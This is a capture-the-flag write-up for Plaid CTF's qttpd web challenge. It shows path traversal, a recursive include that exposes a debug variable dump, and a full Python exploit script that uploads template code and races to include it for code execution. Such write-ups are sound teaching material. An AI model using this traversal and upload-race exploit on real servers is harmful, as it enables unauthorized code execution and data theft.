Plaid CTF - qttpd - part 1

qttpd Pwnable (950 pts)
There are 3 (three) flags to be had at
http://107.189.94.25 or
http://107.189.94.255 or
http://107.189.94.252 or
http://107.189.94.253
... good luck!

So visiting one of the 4 IPs returns a beach resort website. Changing pages adds ?page='pagename' to the end of the URL. Changing the pagename to ../ brings up:

The reason this does anything at all is because '../' tells the server that we want to go back a directory, as we'll see further on, the way it deals with this input is insecure. So we can visit some of these places and extract the contents of the file out, trying to hit flag1.jpg or flag1 just errors with 'File not found' - Alright so lets get the server config ('httpd.conf') and have a look that

num_workers = 8
master_uid = 100
master_gid = 100
master_dir = /home/httpd
worker_uid = 99
worker_gid = 99
chroot_dir = /home/httpd
upload_dir = /uploads
serve_dir = /www
open_timeout = 5
read_timeout = 5
pending_timeout = 5
finished_timeout = 5
tmpl_timeout = 5
tmpl_timeout_soft = 4
tmpl_max_includes = 256
index = index.shtml
flag1_path = /home/httpd/flag1
flag2_path = /home/httpd/flag2  

Okay so we know where the index page is going to be so lets have a look at that:

<@
    SCRIPT_EXT = ".shtml";
    page = "";

    include("../includes/base.inc");

    if (page == "")
        page = "index";
@>

<@
    path = "../pages/" . page;
    if (exists(path))
    {
        send_file(path);
    }
    else
    {
        path = "../pages/" . page . SCRIPT_EXT;
        if (exists(path))
        {
            include(path);
        }
        else
        {
            printf("File not found (%s)\n", path);
        }
    }
@>

Okay so we now know about how the pages are loaded, and also includes/base.inc. We can also work out how to call send_file and include on any file we want. Lets take a look at base.inc

<@
    register_error_handler("../includes/error.inc");
    if (QUERY_STRING)
        parse_query(QUERY_STRING);
    if (POST_PATH && HTTP_CONTENT_TYPE == "application/x-www-form-urlencoded")
    {
        parse_query(read_file(".." . POST_PATH));
    }
@>

So this registers an error_handler which is contained in error.inc - lets take a look at that

<@
    if (DEBUG == "on") {
        var_dump();
    }
else {
@>
    <!-- Error during execution -->
<@
    }
@>

So if we can first, trigger an error and then secondly set DEBUG to on we can get a var_dump of all of the variables in scope. But how would we set DEBUG to on? What led me to working this out was the form on the contact form which submits to ?page=index, the code for the index.shtml page looks like:

<@
    if (name && email) {
@>
    <h3>Thanks <@ echo(name); @> for your email (<@ echo(email); @>) which I will now sell to the highest bidder~~ ^_^</h3>
<@
    }
@>

So the submit form just sends the name and email as GET parameters and then they're available in scope of the script. Okay so we know how to set values, but how do we get var_dump to be called? We need an error first, I wonder what happens if we include the page recursively? ?page=../index/&SCRIPT_EXT=../../../../www/index.shtml ought to do the trick!

Welp... That works, But it DOES stop running at one point, so perhaps we'll see the <!-- Error during execution --> message from the error handler?

Cha-ching! Okay so we can now get the error handler to be triggered, so lets just add &DEBUG=on to the end of the query string and get that var_dump call

<!-- HTTP_ACCEPT_ENCODING = gzip, deflate, sdch -->
<!-- QUERY_STRING = page=../index/&SCRIPT_EXT=../../../../www/index.shtml&DEBUG=on -->
<!-- REQUEST_URI = / -->
<!-- path = ../pages/../index/../../../../www/index.shtml -->
<!-- HTTP_ACCEPT_LANGUAGE = en-GB,en-US;q=0.8,en;q=0.6 -->
<!-- DEBUG = on -->
<!-- page = ../index/ -->
<!-- SCRIPT_EXT = ../../../../www/index.shtml -->
<!-- HTTP_USER_AGENT = Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.90 Safari/537.36 -->
<!-- METHOD = GET -->
<!-- HTTP_HOST = 107.189.94.253 -->
<!-- HTTP_ACCEPT = text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 -->
<!-- HTTP_CONNECTION = keep-alive -->
<!-- VERSION = HTTP/1.1 -->
<!-- REMOTE_IP = ::ffff:no -->  

Alright so there is a whole bunch of potentially useful data there, but how can we leverage this to get the flag? At this point I decided to run strings on the binary (httpd.stripped in ../) and found references to the various different functions the scripts used, among these I found a function called get_flag which I decided I would set out on calling.

One of the many things that I hadn't tinkered with yet was this bit of code:

    if (POST_PATH && HTTP_CONTENT_TYPE == "application/x-www-form-urlencoded")
    {
        parse_query(read_file(".." . POST_PATH));
    }

Perhaps I can upload a file? It was at this point I jumped into one of my favorite tools "Postman"

As you can see in the image, POST_PATH has been set to a path in the uploads folder, unfortunately we can't get a directory listing of the /uploads folder, and we also are unable to access the file path that POST_PATH provides. After sending a few different requests I noticed that the second part of the path changes each time you upload something? After sending a few more requests it was spotted that this was incrementing by 1 every second. So perhaps the file gets deleted after the initial response is finished generating, it takes about 4 seconds as it's in an infinite loop.

Alright so time to put this all together and hope it works:

  • POST a file to the server which executes the get_flag function and prints the result
  • Use local file inclusion to include the uploaded file while the POST request is still returning data (takes about 4 seconds to finish)
  • Get the result and boom

I wrote a Python script to do this as I couldn't work out how to calculate the current date time and convert that to their format.

  
#!/usr/bin/env python
from pwn import *
import time
import threading

WebRequest = "504f5354202f3f706167653d2e2e2f696e6465782f265343524950545f4558543d2e2e2f2e2e2f2e2e2f2e2e2f7777772f696e6465782e7368746d6c2644454255473d6f6e20485454502f312e310d0a486f73743a203130372e3138392e39342e3235330d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a436f6e74656e742d4c656e6774683a2035310d0a4f726967696e3a206368726f6d652d657874656e73696f6e3a2f2f6169636d6b677067616b6464676e6170686868706c696966706366686963666f0d0a4163636570742d4c616e67756167653a20656e2d47422c656e2d55533b713d302e382c656e3b713d302e360d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e5420362e333b20574f57363429204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f29204368726f6d652f34322e302e323331312e3930205361666172692f3533372e33360d0a4163636570743a20746578742f68746d6c2c6170706c69636174696f6e2f7868746d6c2b786d6c2c6170706c69636174696f6e2f786d6c3b713d302e392c696d6167652f776562702c2a2f2a3b713d302e380d0a43616368652d436f6e74726f6c3a206e6f2d63616368650d0a4163636570742d456e636f64696e673a20677a69702c206465666c6174652c20736463680d0a0d0a3c400d0a7072696e74662822636f64652072616e21212122293b0d0a7072696e7466286765745f666c61672829293b0d0a403e"
#POST /?page=../index/&SCRIPT_EXT=../../../../www/index.shtml&DEBUG=on HTTP/1.1
#Host: 107.189.94.253
#Connection: keep-alive
#Content-Length: 51
#Origin: chrome-extension://aicmkgpgakddgnaphhhpliifpcfhicfo
#Accept-Language: en-GB,en-US;q=0.8,en;q=0.6
#User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.90 Safari/537.36
#Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
#Cache-Control: no-cache
#Accept-Encoding: gzip, deflate, sdch
#
#<@
#printf("code ran!!!");
#printf(get_flag());
#@>

def WebWorker(RequestPath):
        """Worker"""
        print 'Worker: %s' % RequestPath
        Data =  wget('http://107.189.94.253/?page=../index/&SCRIPT_EXT=../../../../../../' + RequestPath)
        #wgetdata =  wget('http://107.189.94.253/?page=../../../' + RequestPath)
        if not "File not found" in Data:
            print Data[1641:][:-713]
        else:
            print "Failed"
        return

Server = remote('107.189.94.253', 80)
WebRequest = WebRequest.replace(' ', "").decode("hex")
Server.send(WebRequest)
Data = Server.recvall()
Server.close()

FirstPath = ""

for Line in Data.split('\n'):
    if 'uploads' in Line :
        FirstPath = Line

FirstPath = FirstPath[17:][:-4] # Remove the 
print("First time: " + FirstPath)

SplitPath = FirstPath.split('//') #Split the string
BeginPath = SplitPath[0] #Get the begining /uploads/F562BF6B4919
EndPath = SplitPath[1] #Get the end data2d97014.0

BeginingOfPath = BeginPath[:19] #Get this bit: /uploads/F562BF6B49
Chars = BeginPath[-2:] #Get this bit: 19

Server = remote('107.189.94.253', 80)
Server.send(WebRequest) #Go go go

Threads = []
for i in range(8):
    _Chars = int("0x" + Chars, 16) + i #Turn the hex to a decimal and add i
    RequestPath = BeginingOfPath + '{0:X}'.format(int(_Chars)) + "//" + EndPath #Reconstruct the request path
    T = threading.Thread(target=WebWorker, args=(RequestPath,))
    Threads.append(T)
    T.start()   

The above script can fail if the server is under high load but it does tend to work.